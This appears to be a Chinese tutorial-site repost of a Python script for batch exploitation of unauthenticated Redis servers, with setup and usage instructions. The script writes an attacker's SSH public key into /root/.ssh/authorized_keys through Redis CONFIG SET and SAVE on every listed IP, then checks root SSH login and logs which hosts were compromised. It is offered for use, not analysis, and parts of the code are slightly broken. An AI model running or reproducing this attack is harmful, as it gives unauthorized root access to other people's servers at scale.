zl程序教程

您现在的位置是:首页 >  后端

当前栏目

python脚本实现Redis未授权批量提权

PythonRedis批量 实现 脚本 授权 提权
2023-06-13 09:19:50 时间

前言

本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。

安装依赖

sudo easy_install redis

使用


redis python hackredis.py 

usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]

For Example:

-----------------------------------------------------------------------------

python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22

optional arguments:

 -h, --help show this help message and exit

 -l IPLIST the hosts of target

 -p PORT the redis default port

 -r ID_RSAFILE the ssh id_rsa file you generate

 -sp SSH_PORT the ssh port

首先需要ssh密钥:


ssh-keygen -t rsa

 cp ~/.ssh/id_rsa.pub /tmp/foo.txt

之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。


#!/usr/bin/python

#coding:utf-8

#############################################################

## @file hackredis.py ##

## @date 2015-12-11 ##

## @author evi1cg ##

#############################################################

import redis

import argparse

import textwrap

import sys

import pexpect

def getargs():

 parser = argparse.ArgumentParser(prog="hackredis.py", formatter_ """/

 For Example:

 -----------------------------------------------------------------------------

 python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22"""))

 parser.add_argument("-l", dest="iplist", type=str, help="the hosts of target")

 parser.add_argument("-p", dest="port", default=6379, type=int, help="the redis default port")

 parser.add_argument("-r", dest="id_rsafile", type=str, help="the ssh id_rsa file you generate")

 parser.add_argument("-sp", dest="ssh_port", type=int,default=22, help="the ssh port")

 if(len(sys.argv[1:]) / 2 != 4):

 sys.argv.append("-h")

 return parser.parse_args()

def hackredis(host,port):

 ck = 0

 try:

 print "[*] Attacking ip:%s"%host

 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)

 r.flushall

 r.set("crackit",foo)

 r.config_set("dir","/root/.ssh/")

 r.config_set("dbfilename","authorized_keys")

 r.save()

 ck =1

 except:

 print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host

 write(host,2)

 ck =0

 if ck == 1:

 check(host)

 else:

 pass

def check(host):

 print "/033[1;33;40m[*]/033[0m Check connecting... "

 try:

 ssh = pexpect.spawn("ssh root@%s -p %d" %(host,ssh_port))

 i = ssh.expect("[#/$]",timeout=2)

 if i == 0:

 print "/033[1;34;40m[+]/033[0m Success !"

 write(host,1)

 else:

 pass

 except:

 print "/033[1;32;40m[-]/033[0m Failed to connect !"

 write(host,3)

def write(host,suc):

 if suc == 1:

 filesname = "success.txt"

 elif suc ==2:

 filesname = "fail.txt"

 elif suc ==3:

 filesname = "unconnect.txt"

 else:

 pass

 file_object = open(filesname,"a")

 file_object.write(host+"/n")

 file_object.close()


本篇文章到此结束,如果您有相关技术方面疑问可以联系我们技术人员远程解决,感谢大家支持本站!


我想要获取技术服务或软件
服务范围:MySQL、ORACLE、SQLSERVER、MongoDB、PostgreSQL 、程序问题
服务方式:远程服务、电话支持、现场服务,沟通指定方式服务
技术标签:数据恢复、安装配置、数据迁移、集群容灾、异常处理、其它问题

本站部分文章参考或来源于网络,如有侵权请联系站长。
数据库远程运维 python脚本实现Redis未授权批量提权